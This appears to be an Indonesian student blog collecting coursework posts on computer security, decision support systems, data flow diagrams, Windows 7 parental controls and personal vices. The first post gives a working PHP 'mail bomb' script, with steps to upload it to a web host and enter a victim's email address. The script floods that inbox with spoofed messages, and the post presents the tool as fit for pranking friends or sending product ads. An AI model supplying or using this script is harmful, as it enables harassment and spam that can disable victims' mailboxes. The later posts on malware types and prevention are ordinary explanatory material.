Kamis, 07 Mei 2015

TUGAS KEAMANAN KOMPUTER

ALI MURTAFIAN
12.1.03.03.0417
UNP KEDIRI


A. Pengertian Email bomb 

mail bomb adalah salah satu bentuk kejahatan di internet dengan cara membanjiri email korban dengan data atau kiriman email yang banyak

B. Prosedur membuat mail bomb

1. Pertama copy paste script berikut dalam notepad :

<?php
//Copy Righted Waffles./scheols
$hackedemail = $_POST['emailhacked'];
if(isset($_POST['hack'])){
$hack = 1;
$user = "FUCKEN GOT HACKED ROTFL";
while($hack <= 4){
mail($hackedemail,"Hacked","Fucken Got Pwned", "From: " ."TrojanzBoz. - ". $user. "<" . $hackedemail . ">\n");
echo "Hacked";
$hack++;
}
}elseif(!isset($_POST['hack'])){
?>
<form method='post'>
<input type='text' name='emailhacked'><br>
<input type='submit' name='hack' value='Hack Person'>
</form>
<? } ?>

2. ganti tulisan warna merah sesuai jumlah email yang akan dikirim ke korban,biru untuk isi pesan,
3. Setelah di copy paste simpan dalam jenis .php (Contoh saya : bomber.php)



4. Setelah di simpan silahkan langsung di upload di hosting kalian
(Disini saya menggunakan hosting milik saya sendiri http://belajarhost.host22.com/bomber.php)
5.berikut penampakan nya


6.isikan email korban pada kolom dan klik hack person maka akan otomatis ngirim beberapa email ke email korban


C. Dampak mail bomber

- Email korban ada kemungkinan bisa rusak alias tidak dapat di gunakan lagi, dengan dua alasan:
pertama ketika email korban dipenuhi dengan beribu email sehingga melampaui batas akibatnya Internet Service Provider (ISP) tidak dapat melanjutkan layanan, karna jumlah email yang di terima terlalu banyak  maka mail server ISP mengalami Crash/down yang berdampak tidak dapat melakukan penerimaan email atau pengiriman email.
Kedua apabila Email Bomb yang dikirimkan dibaca Email Spam maka akan mengalami flooding artinya emailbox account kita dibanjiri dengan email yang sama sehingga jumlahnya melampaui kuota alokasi emailbox yang disediakan. Akibatnya email-email penting tidak dapat masuk atau bahkan bisa menyebabkan hilangnya email-email penting.

D. Manfaat mail bomber

Mail bomber biasanya dimanfaatkan hanya untuk mengerjai teman,atau mengirimkan iklan product




Kamis, 02 April 2015

tugas 1 keamanan komputer

nama : ali murtafian
kelas : 3F
NPM: 12.1.03.03.0417
Universitas nusantara PGRI kediri

Definisi

Malware (singkatan dari istilah Bahasa Inggris malicious software, yang berarti perangkat lunak yang mencurigakan) adalah program komputer yang diciptakan dengan maksud dan tujuan tertentu dari penciptanya dan merupakan program yang mencari kelemahan dari software. Umumnya malware diciptakan untuk membobol atau merusak suatu software atau sistem operasi melalui script yang disisipkan secara tersembunyi oleh pembuatnya
trojan Horse adalah suatu aplikasi yang dirancang untuk melakukan suatu serangan namun terselubung dengan baik. Biasanya metode ini dipakai dengan cara menyelipkan lewat email, sebuah file tertentu yang berisi Trojan horse yang berbentuk sesuatu yang sangat menarik. Jika Trojan horse berhasil memasuki suatu sistem, maka dia dapat menginfeksi sehingga orang yang mengirim Trojan horse dapat mengakses secara keseluruhan sistem yang terinfeksi tersebut.
Virus Komputer adalah program / aplikasi yang dapat menggandakan dirinya sendiri dan menyebar dengan cara  menyisipkan dirinya pada program dan data lainnya . biasanya user tidak mengetahui jika komputer yang di milikinya terjangkit virus sampai salah satu data hilang atau program yang ada pada komputer tidak bisa di jalankan
Worm alias cacing adalah sebuah program komputer yang dapat menggandakan dirinya sendiri dan untuk penyebarannya tidak perlu campur tangan dari user itu sendiri dengan memanfaatkan suatu jaringan

 Spyware adalah program yang bertindak sebagai mata-mata untuk mengetahui kebiasaan pengguna komputer dan mengirimkan informasi tersebut ke pihak lain. Spyware biasanya digunakan oleh pihak pemasang iklan.


Perbedaan antara Virus, Worm, Trojan, Malware dan Spyware

No.
Karakteristik
Virus
Worm
Trojan
Malware
Spyware
1.
Definisi (pengertian)
Sebuah program komputer yang dapat menggandakan atau menyalin dirinya sendiri dan menyebar dengan cara menyisipkan salinan dirinya ke dalam program atau dokumen lain
Sebuah program komputer yang dapat menggandakan dirinya secara sendiri dalam sistem komputer.
Sebuah bentuk perangkat lunak yang mencurigakan (malicious software/malware) yang dapat merusak sebuah sistem atau jaringan.
Perangkat lunak yang diciptakan untuk menyusup atau merusak sistem komputer, peladen atau jejaring komputer tanpa izin termaklum (informed consent) dari pemilik.
Perangkat lunak yang mengumpulkan dan mengirim informasi tentang pengguna komputer tanpa diketahui oleh si pengguna itu.
2.
Sifat dan tujuan
Dapat merusak (misalnya dengan merusak data pada dokumen), membuat pengguna komputer merasa terganggu, maupun tidak menimbulkan efek sama sekali.
Seperti virus yaitu menggandakan diri. Biasanya worm dibuat untuk merusak sistem komputer tertentu yang sudah menjadi target dari jarak jauh ( remote).
Memiliki kemampuan untuk menggandakan diri seperti virus. Selain itu trojan juga dapat mengendalikan program tertentu dan dapat mengelabuhi sistem dengan menyerupai aplikasi biasa.
Untuk membobol atau merusak suatu software atau operating sistem.
Sifat spyware tidak merusak data dan biasanya sengaja dipasang atau di install oleh seseorang yang membutuhkan informasi dari komputer yang ditujunya.
3.
Contoh dan jenis-jenisnya
Rain, Ohe half, Die hard, XM/Laroux, Win95/CIH
I-worm/Happy99(Ska), I-Worm/ExploreZIP, Sobig, Nimda, Code Red, Sircam.
Win-Trojan/Back Orifice, Win-Trojan/SubSeven, Win- Trojan/Ecokys(Korean)
Virus, Worm, Wabbit, Keylogger, Browser Hijacker, Trojan Horse, Spyware, Backdoor, Dialer, Exploit dan rootkit .
Keylogger, PC recorder, Parental Control Software, Detective software dan internet monitoring software.
4.
Dampak yang ditimbulkan
Memperbanyak dirinya sendiri, yang membuat sumber daya pada komputer (seperti penggunaan memori) menjadi berkurang secara signifikan.
Virus yang ganas akan merusak perangkat keras.
Dapat menyebabkan hilangnya data file, mengenkripsi file atau file email di komputer yang sudah terinfiltrasi worms.
Trojan dapat menciptakan sebuah "backdoor" pada PC yang mana seorang hacker dapat menggunakannya untuk masuk ke Sistem tersebut. Dari sana, hacker dapat menikmati akses gratis dari sistem komputer tersebut dan menyebabkan segala macam kekacauan.
Dapat membajak browser, mengarahkan surfing lewat browser, merambah ke iklan pop-up yang berbahaya, seperti situs web Music yang dikunjungi, dan umumnya dengan program terkunci otomatis.
Dapat menyebabkan komputer berjalan lambat atau crash.
5.
Antivirus (cara menangkalnya)
KasperSky, AVG, AntiVir, PCMAV, Norton, Norman, McAfee, dll.
NOD32 Antivirus, dll.
Trojan Remover, dll.
Norman Malware Cleaner, dll.
Spyware Doctor with Antivirus, dll.

Cara mencegah & solusi mengatasi komputer yang terkena MALWARE

Mugkin bagi sebagian pengguna komputer pasti bosan atau barangkali pusing menghadapi yang namanya Malware? Ya, Malware atau disebut juga ‘Malicious Software’ atau dalam bahasa indonesianya ‘Program Jahat’. Malware ini biasanya terdiri berbagai kumpulan program – program jahat yang bersifat merusak atau bahkan yang lebih parahnya menghancurkan seluruh sistem. Malware biasanya terdiri antara lain seperti:
1.      VIRUS
2.      TROJAN
3.      SPYWARE
4.      WORM
5.      ROOTKIT
                                Dan lain sebagainya

Bagi anda yang ingin komputernya terbebas dari serangan malware, anda bisa mencoba beberapa tips berikut ini.

·         Pasang program keamanan / Anti virus

Memasang program keamanan, seperti Anti Virus, Anti Rootkit, Malware Removal dan lain – lain sangatlah penting untuk menghidari komputer Anda terserang oleh serangan malware yang jahat, terutama bagi pengguna sistem operasi Windows yang terkenal dengan banyaknya virus yang menyebar. 

·         Windows Defender

Jika Anda belum sempat memasang program Anti Virus, maka anda bisa menggunakan program keamanan bawaan windows, yaitu ‘windows defender’.

·         Lakukan update program keamanan / antivirus Anda secara berkala

Jika langkah pertama telah selesai, maka anda hanya perlu melanjutkan ke langkah berikutnya yaitu melakukan update / proses memperbaharui program keamanan yang Anda miliki, karena jika tidak maka program keamanan Anda tidak akan bekerja secara maksimal, dikarenakan malware / virus dan varianya terus berkembang, oleh karena itu anda perlu memperbaharui program keamanan Anda untuk mengenali malware yang terus berkembang. Jika tidak maka program keamanan Anda di ibaratkan seperti ‘Macan Ompong’.

·         Update sistem operasi Anda

Jika sistem operasi Anda berlisensi resmi dalam kata lain asli, maka disarankan untuk melakukan update terhadap sistem operasi Anda. Dengan melakukan update sistem operasi  sama dengan menutup celah – celah yang terdapat di dalam sistem operasi tersebut, yang mungkin bisa di manfaatkan oleh si Malware untuk merusak sistem.


·         Scan komputer dengan antivirus secara berkala

Jika komputer Anda telah terpasang program antivirus dan terupdate, biasakan untuk melakukan ‘scan’ atau pemindaian komputer secara rutin, ditakutkan ada malware yang berhasil menenbus  program antivirus dan masuk ke sistem komputer Anda secara tidak di ketahui. Lakukanlah pemindaian minimal 1 bulan sekali.

·         Jangan sembarang colok flashdisk

Salah satu media penyebaran paling ampuh Malware / virus saat ini adalah flashdisk, oleh karena itu janganlah sembarangan memasukan ‘flashdisk’ ke dalam komputer untuk mencegah penyebaran malware. Maka dari itu disarankan untuk melakukan  pemindaian terhadap flashdisk yang di colokkan ke komputer dengan program Antivirus.

·         Matikan Fitur AutoRun

Mematikan fitur autorun pada windows merupakan salah satu mencegah penyebaran Malware, dikarenakan kebanyakan malware saat ini memanfaatkan fitur ini untuk mengeksekusi dirinya secara otomatis.

·         Jangan sembarangan memasang program yang tidak dikenal

Telliti sebelum memasang, mungkin kata tersebut ada benarnya. Disarankan untuk tidak menggunakan program – program yang tidak dikenal, dikarenakan kebanyakan Malware suka bersembunyi di balik program – program tersebut, untuk mengelabui korbannya. 

·         Hindari juga penggunaan program bajakan

Jika Anda mempunyai banyak rezeki atau uang, maka disarankan untuk menggunakan program yang berlisensi resmi / asli, karena jika menggunakan program bajakan kemungkinan program tersebut sudah di susupi oleh Malware. 

·         Hati – hati saat berselancar di internet

Bagi Anda yang sering berselancar di dunia maya (internet), maka Anda perlu berhati – hati, dikarenakan internet merupakan ladang berbagai macam Malware, yang menjadi ancaman kita semua. Maka dari itu Anda perlu waspada, seperti tidak mebuka situs berbahaya, prono, dan tidak terpercaya.
Jangan sembarang klik link, teliti dahulu sebelum membuka, mungkin saja itu merupakan situs ‘phishing’, seperti contoh www.facebook.com (asli) dan www.faceboook.com (palsu). (perhatikan huruf ‘o’ nya Karena jika Anda membuka situs tersebut, mungkin saja komputer Anda telah di bajak secara diam diam.

·         Scan penuh komputer dengan program Anti Virus yang Anda miliki

Jika komputer Anda terserang oleh malware, maka yang harus Anda lakukan adalah memindai seluruh komputer Anda dengan program Anti Virus yang anda miliki, dan mudah – mudahan program AV Anda bisa memulihkan keadaan.

Selasa, 24 Maret 2015

Tugas individu SPK

Definisi SPK (sistem pengambil keputusan)

Dari  beberapa literatur yang saya baca sistem pendukung keputusan atau yang sering disebut dengan decision support sistem merupakan sebuah sistem yang mampu memberikan lemampuan pemecahan masalah maupun kemampuan pengkomunasian untuk masalah dengan semua kondisi dengan tujuan menyediakan informasi,membimbing serta memberikan prediksi serta mengarahakan kepada pengguna informasi agar dapat melakukan pengambilan keputusan yang baik.

Definisi sistem

Menurut wikipedia.com definisi dari sistem berasal dari bahasa Latin (systÄ“ma) dan bahasa Yunani (sustÄ“ma) adalah suatu kesatuan yang terdiri komponen atau elemen yang dihubungkan bersama untuk memudahkan aliran informasi, materi atau energi untuk mencapai suatu tujuan. Istilah ini sering dipergunakan untuk menggambarkan suatu set entitas yang berinteraksi
Namun dalam pemahaman saya dalam lingkup mata kuliah  sistem pengambil keputusan, sistem disini  dapat diartikan sebagai kumpulan dari obyek-obyek seperti orang, resources, konsep, dan prosedur yang ditujukan untuk melakukan fungsi tertentu atau memenuhi suatu tujuan

Definisi model

Dari hasil pembelajaran yang dilakuakan di kelas kami, Model merupakan sebuah acuan yang dapat dijadikan sebuah contoh untuk menilai sebuah sistem tertentu.

Contoh masalah SPK dalam pencernaan manusia



Input

Makanan
minumanv
 
Proses

Pencernaan
metabolisme
 
Output

Energi
feses
 
 

Jumat, 09 Mei 2014

Diagram arus data


       Menurut Jogiyanto (1990), ide dari suatu bagan untuk mewakili arus data dalam suatu sistem bukanlah hal yang baru. Pada tahun 1967, Martin dan Estrin memperkenalkan suatu algoritma program dengan menggunakan symbol lingkaran dan panah untuk mewakili arus data. Pada tahap analisis, penggunaan notasi ini sangat membantu sekali di dalam komunikasi dengan pemakai sistem untuk memahami sistem secara logika. Diagram yang menggunakan notasi-notasi ini untuk menggambarkan arus dari data sistem sekarang dikenal dengan nama diagram arus data (data flow diagram atau DFD). DFD sering digunakan untuk menggambarkan suatu sistem yang telah ada atau sistem baru yang akan dikembangkan secara logika tanpa mempertimbangkan lingkungan fisik dimana data tersebut mengalir (misalnya lewat telpon, surat dan sebagainya) atau lingkungan fisik dimana data tersebut akan disimpan (misalnya file kartu, microfiche, hard disk, tape, diskette dan lain sebagainya). DFD merupakan alat yang digunakan pada metodologi pengembangan sistem yang terstruktur (structured Analysis and design). DFD merupakan alat yang cukup popular sekarang ini, karena dapat menggambarkan arus data di dalam sistem dengan terstruktur dan jelas. Lebih lanjut DFD juga merupakan dikumentasi dari sistem yang baik.
Beberapa symbol digunakan di DFD untuk maksud mewakili (Jogiyanto ,1990):
  1. External entity (kesatuan luar) atau boundary (batas sistem);
  2. Data flow (arus data);
  3. Process (proses);
  4. Data store (simpanan data).

Kesatuan Luar

Setiap sistem pasti mempunyai batas sistem (boundary) yang memisahkan suatu sistem dengan lingkungan luarnya. Sistem akan menerima input dan menghasilkan output kepada lingkungan luarnya. Kesatuan luar (external entity) merupakan kesatuan (entity) dilingkungan luar sistem yang dapat berupa orang, organisasi atau sistem lainnya yang berada dilingkungan luarnya yang akan memberikan input atau menerima output dari sistem. Kesatuan luar ini kebanyakan adalah salah satu dari berikut ini (Jogiyanto ,1990).

  1. Suatu kantor, departemen atau divisi dalam perusahaan tetapi di luar sistem yang sedang dikembangkan.
  2. Orang atau sekelompok orang diorganisasi tetapi di luar sistem yang sedang dikembangkan.
  3. Suatu organisasi atau orang yang berada di luar organisasi seperti misalnya langganan, pemasok.
  4. Sistem informasi yang lain di luar sistem yang sedang dikembangkan.
  5. Sumber asli dari suatu transaksi.
  6. Penerima akhir dari suatu laporan yang dihasilkan oleh sistem.

Arus Data

Arus data (data flow) di DFD diberi simbol suatu panah. Arus data ini mengalir diantara proses (process), simpanan data (data store) dan kesatuan luar (exsternal entity). Arus data menunjukan arus data yang dapat berupa masukan untuk sistem atau hasil dari proses sistem dan dapat berbentuk sebagai berikut ini (Jogiyanto ,1990).

  1. Formulir atau dokumen yang digunakan di perpustakaan.
  2. Laporan tercetak yang dihasilkan oleh sistem.
  3. Tampilan atau output di layar komputer yang dhasilkan oleh sistem.
  4. Masukan untuk komputer.
  5. Komunikasi ucapan.
  6. Surat-surat atau memo.
  7. Data yang dibaca atau direkamkan ke suatu file.
  8. Suatu isian yang dicatat pada buku agenda.
  9. Transmisi data dari suatu komputer ke komputer yang lain.

Proses

Suatu proses adalah kegiatan atau kerja yang dilakukan oleh orang, mesin atau komputer dari hasil suatu arus data yang masuk kedalam proses untuk dihasilkan arus data yang akan keluar dari proses. Untuk physical dataflow diagram (PDFD), proses dapat dilakukan oleh orang, mesin atau computer, sedang untuk logical data flow diagram (LDFD), suatu proses hanya menunjukkan proses dari computer. Perbedaan dari PDFD dan LDFD akan dibahas kemudian. Suatu proses dapat menunjukkan dengan symbol lingkaran atau dengan simbol empat persegi panjang tegak dengan sudut-sudut tumpul (Jogiyanto ,1990).

Simpanan Data

Menunjukkan informasi yang tersimpan dalam file diantara transactions. Data store diidentitaskan dengan “D dengan nomor” untuk data store komputer dan “M dengan nomor” untuk manual data store. Data store disimbolkan sebagai berikut (Jogiyanto ,1990) :

Penggambaran simpanan data di DFD perlu memperhatikan beberapa hal, sebagai berikut:
  1. Hanya proses saja yang berhubungan dengan simpanan data, karena yang menggunakan atau merubah data di simpanan data adalah proses.
  2. Arus data yang menuju ke simpanan data dari suatu proses menunjukkan proses update terhadap data yang tersimpan di simpanan data. Update dapat berupa proses:
    1. Menambah atau menyimpankan record baru atau dokumen baru ke dalam simpanan data.
    2. Menghapus record atau mengambil dokumen dari simpanan data.
    3. Merubah nilai data di suatu record atau di suatu dokumen yang ada di simpanan data.
  3. Arus data yang berasal dari simpanan data ke suatu proses menunjukkan bahwa proses tersebut menggunakan data yang ada di simpanan data. Untuk media simpanan data berupa simpanan luar komputer (disk atau tape) berarti membaca data dari suatu record di file sedang untuk disimpanan data berupa media manual berarti mengambil suatu formulir atau dokumen untuk dilihat isinya dari suatu simpanan data.
  4. Proses yang melakukan kedua-duanya, yaitu menggunakan dan update simpanan data dapat dilakukan hal berikut:
    1. Dapat menggunakan sebuah garis dengan panah mengarah kedua arah yang berlawanan dari simpanan data.
    2. Menggunakan arus data yang terpisah.
DFD sangat berbeda dengan bagan alir (flowchart). Perbedaannya adalah sebagai berikut:
  1. Proses di DFD dapat beroperasi secara parallel, sehingga beberapa proses dapat dilakukan serentak sedangkan bagan alir cenderung menunjukkan proses yang urut.
  2. DFD lebih mencerminkan arus dari data di suatu sistem, sedang bagan alir sistem lebih menunjukkan arus dari prosedur dan bagan alir program lebih menunjukkan arus dari algoritma.
  3. DFD tidak menunjukkan proses perulangan (loop) dan proses keputusan (decision), sedang bagan alir menunjukkanya.
Selain itu, DFD juga memiliki beberapa keterbatasan, antara lain:
  1. DFD tidak menunjukkan proses perulangan (loop).
  2. DFD tidak menunjukkan proses keputusan (decision).
  3. DFD tidak menunjukkan proses perhitungan

Pembatasan Hak Akses pada User di Windows 7

          Pembatasan Hak akses user ataupun administrator pada Microsoft Windows 7 sangat berguna baik untuk keperluan kantor atau keluarga kenapa? karna fitur hak akses di Windows 7 memang diperuntukan untuk pekerjaan kantor atau untuk pemakaian keluarga.

       Contoh pembatasan hak akses untuk pemakaian dikantor bila : 1) Setiap karyawan di kantor menggunakan fasilitas komputer di kantor seringkali masih menggunakanya setelah jam kerja selesai yang efeknya pemborosan listrik terhadap perusahan. Disana kita bisa menggunakan timers pada user control. 2) Pengaplikasian user control dirumah, sering kali orang tua kurang pengawasannya terhadap anak di depan komputer hingga lupa waktu dan bahayanya banyak sekali konten +18 di internet yang seharusnya tidak boleh dilihat oleh anak ataupun terlalu sering bermain game jadi malas belajar.

Langkah 1
Klik logo windows lihat di gambar 1, lalu arahkan ke Control Panel dan klik 2 kali.


Langkah 2
            Setelah masuk ke Control Panel Pilih User Acounts.

Langkah 3
            Setelah masuk jendela user Accounts yang tampil hanya logo adminstrator saja, bila kita ingin tampilkan list user yang ada dalam dalam sebuah unit PC atau Laptop maka kita pilih Manage another account.

Langkah 4
          Terlihat tampilan logo administrator dan user tapi itu belum kita perlukan lihat. Klik 2 kali di Set up Parental Controls dibawah tulisan additional things you can do. Lihat gambar 4.

Langkah 5
           Disini sebagai contoh saya akan memilih user bernama ghostblup untuk dibatasi hak aksesnya karena disebuah perusahan dia adalah pegawai yang sangat bandel sekali sering menggunakan internet sampai larut malam dan sering bermain game saat jam kerja :D. Saya selaku administrator tidak tinggal diam, lalu saya membatasi hak akses komputer ghostblup. Klik 2 kali pada logo ghostblup, lihat gambar 5.

Langkah 6
          Sekarang kita aktifkan dulu parental control-nya saat kita buka otomatis dalam keadaan off lalu kita centang saja keposisi On untuk mengaktifkanya lihat huruf yang di lingkaran kecil pada gambar 6, setelah itu kita atur Time Limits nya buat si user bandel ghostblup ini arahkan krusor ke lingkaran besar yang ada digambar 6 lalu klik 2 kali.
Langkah 7
          Disini kita bisa mengatur rentang waktu pengoperasian komputer user yang bisa digunakan berwarna putih. Yang berwarna biru komputer diblok dan tidak bisa digunakan oleh si user bandel tersebut. Lihat digambar 7 Senin dari pukul 00.00 – 07.00 komputer tidak bisa digunakan 1 jam sebelum masuk kerja rentang waktu jam 07.01 – 16.00 komputer bisa kembali digunakan dan pukul 16.01 – 24.00 komputer kembali diblok lihat. Tinggal kalian kombinasikan antara jam berapa saja bisa digunakan tidak harus sama waktu untuk memblok waktu limitnya untuk mem blok rentang waktu arahkan krusor kearah waktu dan hari yang ingin diblok bila sudah selesai klik OK.



Langkah 8
            Setelah selesai pengaturan di time limits dan klik Ok maka akan kembali lagi tampilan gambar 6, tidak serta merta sang administrator puas karena dia masih harus memikirkan si user bandel ini untuk tidak bermain game, kebetulan di parental control ini ada juga untuk memblok games juga konten yang berbau pornografi dan lainya, lalu sang administrator dengan sigap meklik Games lalu ada pertanyaan can ghostblup play games? Lalu kita centang No lihat gambar 8 yang dilingkaran kecil lalu Klik Ok. Tamat sudah eksistensi si user di game online terpaksa harus merogoh kocek sendiri untuk bermain game dan download diwarnet.


Langkah 9
             Setelah keesokan harinya si user bandel tersebut masuk ke ruangan kerjanya untuk melakukan aktifitasnya dengan bermain game Age of Empires 2 kesukaannya dia bingung kenapa gamenya tidak bisa dibuka setelah dia tidak bisa bermain game lalu dia membuka browser Mozila Firefox kesayanganya dan membuka situs dengan konten berbau pornografi ternyata diblok juga. Ternyata si user bandel ini belum kehabisan ide ada saja akal user ghostblup yang bandel ini untuk melakukan hobinya tersebut, iya teringat kalau di hardisk externalnya tersimpan koleksi film XXX hampir 250 giga. Lalu dia memutarnya 2 film sekaligus mengunakan K-lite Codec dan Winamp.

               Ternyata admin kantor tersebut kecolongan lagi dengan sigap saat makan siang, si user bandel itu sedang makan ia remote kembali PC si bandel lalu melakukan pengaturan lagi dan kembali ke tampilan Gambar 6 lalu meng Klik Allow and block specific programs dan setelah masuk ada tulisan Whinch programs can ghostblup use? Pada pengaturan defultnya berada di ghostblup can use all programs lalu kita rubah centang ghostblup can only use the programs i allow lihat gambar lingkaran kecil di gambar 9 setelah itu Klik Check All semua program aan tercentang secara otomatis sekarang kita akan cari Software K-lite Codec lalu menghilangkan centangnya satu persatu disana ada 5 total yang di hapus centangnya khusus

Untuk Software K-lite Codec dan begitu juga untuk software Winamp yang ingin kita blok hapus juga centangnya dan terakhir Klik Ok.


         Sekian Tulisan, saya minta maaf bila kurang sempurna dalam tulisan dan penyampaian kata-kata. Terus terang tidak ada refrensi dalam tulisan ini kebetulan tulisan ini dari ketidaksengajaan penulis saat menggunakan sistem operasi Windows 7.

Rabu, 07 Mei 2014

Musuh manusia yang sebenarnya

1. Rasa Marah 
Rasa gejolak yang datang dari diri sendiri terhadap lingkungan. Coba bersabar dan kendalikan, kadang tidak semua yang kita inginkan bisa terwujud. Cara mengendalikan : Tarik nafas dalam-dalam lewat hidung lalu hembuskan perlahan melalui mulut, lakukan secara teratur sampai timbul rasa lega. kalo belum kunjung reda, coba lampiaskan kemarahan melalui tulisan di atas kertas.

2. Takut 
Perasaan yang timbul apabila kita merasa tidak mampu menghadapi sesuatu peristiwa yang terjadi. Sugesti yang seakan-akan membisikkan kita bahwa sesuatu yang buruk akan terjadi, padahal kenyataannya belum tentu seperti itu. Cara mengendalikan : Berpikir positif dan bayangkan bahwa semua akan berjalan dengan baik dan menghasilkan sesuatu yang memuaskan. 

3. Kikir/Pelit
Rasa susah memberikan sesuatu pada orang lain. Rezeki sudah ada yang mengatur, jadi kita tidak mungkin rugi memberikan sebagian milik kita, bahkan dengan memberikan sesuatu kepada orang lain, mungkin ada balasan yang lebih berharga dari sesuatu yang kita berikan kepada orang lain. Cara mengendalikan : Lihat dari sisi hati nurani kita, tapi jangan mudah tertipu oleh penampilan orang lain. 

4. Ragu 
Bimbang atau bingung atau tidak ada suatu tekad yang bulat untuk melakukan sesuatu. Hidup adalah pilihan, tetapi dalam memilih harus dipikirkan terlebih dahulu. Salah dalam memilih dapat mengakibatkan suatu penyesalan. Cara mengendalikan : Pilih baik atau buruknya dengan pikir panjang. 

5. Takabur 
Rasa yang menganggap kesuksesan suatu bidang hanya karena usaha sendiri. Manusia adalah mahluk sosial yang saling membutuhkan satu sama lain. Dan tidak akan mungkin bisa hidup sendiri tanpa bantuan. Cara mengendalikan : Bersyukur dengan hasil yang sudah dicapai bukan karena diri sendiri tapi dengan bantuan orang lain juga. 

6. Buruk Sangka 
Memandang seseorang dari sisi negatifnya saja walaupun hal itu belum tentu benar. Berpikir negatif bisa menyebabkan kebencian walaupun kenyataannya tidak seperti hal yang dipikirkan. Yang parahnya, terkadang persangkaan kita tiada berdasar dan tidak beralasan. Memang semata-mata sifat kita suka curiga dan penuh sangka kepada orang lain, lalu kita membiarkan pikiran tersebut bersemayam di dalam hati. Bahkan kita membicarakan serta menyampaikannya kepada orang lain dan dapat menyebabkan fitnah. Setiap orang memiliki kelebihan dan kekurangan masing-masing yang berbeda-beda. Cara mengendalikan : Jangan berpikir kita orang yang sempurna dan banyak mengingat kebaikan seseorang. 

7. Malas 
Tidak suka bekerja atau tidak ada keinginan melakukan sesuatu hal. Waktu itu gratis, tapi sangat berharga. Kamu tidak akan dapat memiliki, tapi dapat memanfaatkannya. Kamu tidak dapat menyimpan, tapi dapat menghabiskannya. Sekali kehilangan, kamu tidak akan bisa mendapatkannya kembali. Cara mengendalikan : Lakukan sesuatu yang berguna. Buat rencana dan tujuan hidup agar kita memiliki motivasi dan semangat dalam melakukan suatu hal. 

8. Iri/Cemburu 
Orang yang kurang senang melihat orang lain beruntung. Rezeki setiap orang berbeda-beda, mungkin di bidang yang satu, orang lain lebih beruntung, coba di bidang lain mungkin kita bisa lebih unggul. Cara mengendalikan : Jika orang lain sukses dalam suatu bidang, jadikan motivasi buat kita untuk berusaha lebih baik mungkin di bidang lain kita bisa lebih sukses. 

9. Sombong 
Merasa superior, tinggi hati, angkuh, congkak, paling hebat dan ingin dipuji oleh orang lain. Diatas awan masih ada langit. Orang yang seperti ini kadang dijauhi dan dibenci orang lain. Cara mengendalikan : jangan merasa kita lebih baik dari orang lain, bersikaplah rendah hati dan santun. 

10. Ceroboh/Pelupa 
Kurang hati-hati dan kurang teliti dalam melakukan sesuatu dan selalu ada suatu kekeliruan atau kesalahan. Merepotkan dan merugikan diri sendiri dan orang lain. Cara mengendalikan : Teliti dan selalu periksa atau memastikan dalam bertindak apakah sudah benar atau belum. Konsentrasi. Bawa catatan. 

11. Putus Asa 
Mudah menyerah dan pabila mengalami kegagalan seolah-olah sudah tidak ada harapan lagi baik untuk masa depannya.
Kegagalan adalah kesuksesan yang tertunda. Orang yang sukses pasti mengalami gagal. 

Cara mengendalikan : Berusaha dengan baik walaupun gagal, jangan menyerah dan tidak mengulangi kesalahan yang sama.